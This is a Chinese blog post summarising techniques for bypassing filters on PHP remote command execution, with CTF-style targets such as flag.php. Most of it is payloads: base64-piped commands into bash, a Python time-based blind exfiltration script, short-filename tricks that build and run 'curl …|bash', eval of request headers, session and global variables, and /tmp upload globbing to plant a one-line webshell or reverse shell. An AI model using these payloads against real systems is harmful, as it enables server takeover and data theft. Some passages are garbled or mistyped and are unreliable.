探索网络安全新技术
攀登黑客技术最高峰

PHP RCE 各种绕过手法详细总结

PHP RCE 各种绕过手法详细总结-威武网安

RCE漏洞介绍

RCE(Remote Code Execution)漏洞是一种常见的安全漏洞,指攻击者可以通过远程执行恶意代码的方式,对目标系统进行攻击并获取系统权限。攻击者通常通过利用软件或系统中未修复的漏洞,注入并执行恶意代码,从而实现对目标系统的控制。

RCE漏洞通常会导致严重的安全问题,例如攻击者可以执行任意的系统命令、上传恶意文件、窃取敏感数据、篡改数据等。因此,及时发现和修复RCE漏洞对于保障系统安全至关重要。

许多Web应用程序和操作系统都存在RCE漏洞,因此,安全研究人员和系统管理员需要密切关注这些漏洞,并及时采取相应的措施进行修复。

常见命令执行危险函数

system()
执行外部程序,并且显示输出
exec()

执行一个外部程序

#直接使用exec()函数执行命令会只输出最后一条信息

$cmd = $_GET["cmd"]; exec($cmd,$array); print_r($array);
passthru()

执行外部程序并且显示原始输出
shell_exec()

通过shell环境执行命令,并且将完整的输出以字符串的方式输出
popen()

调用系统命令
proc_open()

执行一个命令,并且打开用来输入/输出的文件指针。
(``)反引号

php将尝试将反引号中的内容作为shell命令来执行,并且将其输出信息返回
pcntl_exec

pcntl是linux下的一个扩展,需要额外安装,可以支持 php 的多线程操作。

绕过常见限制手法

空格过滤绕过

大括号{cat,-a}

$IFS代替空格,$IFS、$IFS、${IFS}、$IFS$9

重定向字符<、<>

文件名绕过

通配符绕过?、*

通配符是一种特殊语句,有问号和星号,用来模糊搜索;?在linux里可以代替字母,?只代表单个字符串;*可以代表任何字符串

单双引号绕过

反斜杠\绕过,如ca\t fla\g.ph\p

特殊变量:$1到$9、$@和$*等 如cat fla$@g.ph$*p

内联执行,自定义

字符串,再拼接如,a=fla;b=g.ph;c=p;cat $a$b$c

利用Linux中环境变量,使用环境变量中的字符执行变量,如${PATH:1:1}提取环境变量中的第二个字符

常见文件读取命令绕过

tac:反向显示

more:一页一页显示档案内容

less:与more类似

tail:查看末尾几行

nl:显示的时候,顺便输出行号

od:以二进制的方式读取档案内容

xxd:读取二进制文件

sort:主要用于排序文件

uniq:报告或删除文件中重复的行

file -f:报错出具体内容

grep:在文本中查找指定字符串,如grep fla fla*

编码绕过

绕过原理

命令编码后的字符串——>目标服务器———–>执行命令

绕过过滤 解码读取命令

如:

echo Y2F0IGZsYWcucGhw | base64 -d | bash

Y2F0IGZsYWcucGhw:解码结果为cat flag.php

无回显时间盲注

当页面无回显、无法反弹shell或无写入权限,可以尝试命令盲注,原理和SQL盲注相似,都是根据反弹的时间来进行判断。

相关命令

sleep() 等待指定时间后返回结果

awk NR==行号 逐行获取数据,配合cat 使用

cut -c 第几个字符 逐列获取单个字符

if 判断命令释是否执行

if [ cat flag.php|awk NR==1|cut -c 3==p ];then sleep 5;fi

Python脚本

import requests
import time
url = "http://127.0.0.1/1.php"
result = ""
for i in range(1,5):
    for j in range(1,55):
        for k in range(32,128):
            k=chr(k)
            #time.sleep(0.1)
            payload = "?cmd=" + f"if [ cat flag.php | awk NR=={i} | cut -c {j} == {k} ];then sleep 2;fi"
            try:
                requests.get(url=url+payload, timeout=(1.5,1.5))
            except:
                result = result + k
                print(result)
                break
    result += " "

长度过滤绕过

绕过7长度限制

使用>创建很短的文件名

ls -t 按时间顺序列出文件名,按行存储

\连接换行命令

sh从文件中读取命令

>\ \\\把空格实体化成字符;文件名不能重复;ls -t 的输出顺序是按照时间由进到远,所以需要反过来输入命令。

cmd=>指令字符串\

cmd=ls -t>a 将文件名写入文件a中

cmd=sh a 执行写入的命令

绕过5长度限制

由于构造包含空格的字符串长度最少为5,所以只能构造一个空格。也无法构造lls -t>y。

先创建文件>ls\\

再创建文件_,把ls\写入文件_

再创建其他文件,用>>把所有文件名追加到文件_中

?cmd=>ls\\

?cmd=ls>_

?cmd=>\ \\

?cmd=>-t\\

?cmd=>\>y

?cmd=ls>>_

构造完ls -t>y之后,拆解命令,然后使用绕过长度7的方式写入文件

执行sh _ 构造出想要执行的命令,最后再执行sh y

将写入的指令修改为curl 127.0.0.1|bash。同时服务器index文件下写入需要执行的指令

绕过4长度限制

相关知识

dir:按列输出文件名,不换行

*:相当于$(dir *),如果第一个文件名是命令的话就会执行命令,返回执行的结果,之后的文件名作为参数传入

rev:可以反转文件每一行的内容

构造ls -t>y

>y\; 为防止y后面有其他文件名造成影响,多创建一个y\;文件,用;来隔断后面字符的影响。

>y\>

>ht-

>sl

>dir

>rev

*v>x

写入命令的方式于绕过长度限制5的方式相同,唯一区别是将ip地址从10进制转换为16进制。

无参数命令执行

HTTP请求标头(php 7.3)

全局变量RCE(php 5 / 7)

session RCE (php 5)

scandir() 进行文件读取

请求头绕过

利用函数

getallheaders() 获取所有HTTP请求标头,会倒序输出

pos() 把第一项的值显示出来

end() 把最后一项的值显示出来

apache_request_headers() 功能类似于getallheaders(),适用于apache服务器

利用getallheaders()获取到HTTP请求标头之后,使用pos()获取第一项标头中的参数,之后使用eval()执行命令。需要在HTTP包中找到对应的位置,修改为需要执行的命令。?cmd=eval(pos(getallheaders())); system(‘ls’);

全局变量RCE

通过获取对方服务器的全局变量的内容,从而写入想执行的命令,来对目标服务器进行命令执行。

利用函数

get_defined_vars() 返回所有已定义变量的值,所组成的数组

get_defined_vars能够获取到GET、POST、COOKIE、FILES的值 如 ?code=print_r(end(pos(get_defined_vars())));&a=ls 返回结果包含ls ?code=eval(system(end(pos(get_defined_vars()))));&a=ls

session RCE

利用函数

session_start() 启动新会话或重用现有会话,成功返回true,反之返回false

session_id() 获取SESSIONID的值

如果服务器没有启用session可以先使用session_start()启用session然后再使用session_id获取sessionid的参数 ?code=system(session_id(session_start())); Cookie: PHPSESSID=ls

scandir读取

相关函数

scandir() 列出指定路径中的文件和目录(PHP 5, PHP 7, PHP 8)

getcwd() 取得当前工作目录(PHP 4, PHP 5, PHP 7, PHP 8)

current() 返回数组中的当前值(PHP 4, PHP 5,PHP 7,PHP 8)

array_reverse() 返回单元顺序相反的数组(PHP 4, PHP 5, PHP 7,PHP 8)

array_flip() 交换数组中的键和值(PHP 4, PHP 5, PHP 7, PHP 8)

next() 将数组中的内部指针向前移动(PHP 4,PHP 5,PHP 7, PHP 8)

array_rand 从数组中随机取出一个或多个随机键

chdir() 系统调用函数 (同cd) ,用于改变当前工作目录

strrev() 用于反转给定的字符串

crypt() 用来加密,目前Linux平台上加密的方法大致有MD5,DES,3 DES

hebrevc() 把希伯来文本从右至左的流转换为左至右的流。

show_source() 读取当前目录文件内容

dirname() 输出上一级目录的路径

读取上一级目录下的文件 show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd))))))); 从根目录下读取文件 数组反序列化后使用crypt进行加密有概率获取到字符串末尾有/,对字符串进行反转和截取能获取到/。show_source(array_rand(arry_flip(scandir(chr(ord(strrev(crypt(serialize(array())))))))));

常见文件读取命令绕过

异或运算绕过

异或:在PHP中,两个字符串执行异或操作以后,得到的还是一个字符串。只要找到某两个非字母、数字的字符,他们的异或结果是这个字母即可。

自增绕过

绕过原理

在php下[].”=Array,并且变量不存在时,假值为0。如果设置$_=[].” ; $_=[$__],这样能够获取到$_=A;之后可以利用自增或自减来获得想要的字符串,以此来拼接php命令。

绕过特殊符号过滤

php7短标签绕过

最常见的 PHP 标签是了, PHP 中还有两种短标签,即<? ?>和。当关键字 “php” 被过滤了之后,便不能使用了,但是可以用另外两种短标签进行绕过,并且在短标签中的代码不需要使用分号;。其中,<? ?>相当于对的替换。而则是相当于
运用闭合方式使用?>闭合原进行重写并使用反引号`配合url编码取反的形式进行命令的执行。

php POST上传临时文件利用

PHP中POST上传文件会把我们上传的文件暂时存在/tmp目录下,默认文件名是phpXXXXXX,文件名最后6个字符串是随机大小写字母。可以使用?通配符匹配到./tmp/phpXXXXXX,能匹配到的东西很多,经常会报错;[@-[]表示ASCII在@和[之间的字符,也就是大写字母,所以可以构建payload为./???/????????[@-[]。
先构建一个文件上传POST数据包

PHP页面生成临时文件phpXXXXXX,储存在/tmp目录下

执行指令./???/????????[@-[],读取文件,执行其中内容

在上传文件中写入一句话木马,把木马生成在指定绝对路径,之后执行;也可以直接反弹shell

赞(0) 打赏
版权声明:本文采用知识共享 署名4.0国际许可协议 [BY-NC-SA] 进行授权
文章名称:《PHP RCE 各种绕过手法详细总结》
文章链接:https://www.wevul.com/866.html
本站所有内容均来自互联网,只限个人技术研究,禁止商业用途,请下载后24小时内删除。

评论 抢沙发

如果文章对你有帮助 可以打赏一下文章作者

非常感谢你的打赏,我们将继续提供更多优质内容,让我们一起创建更加美好的网络世界!

支付宝扫一扫打赏

微信扫一扫打赏

登录

找回密码

注册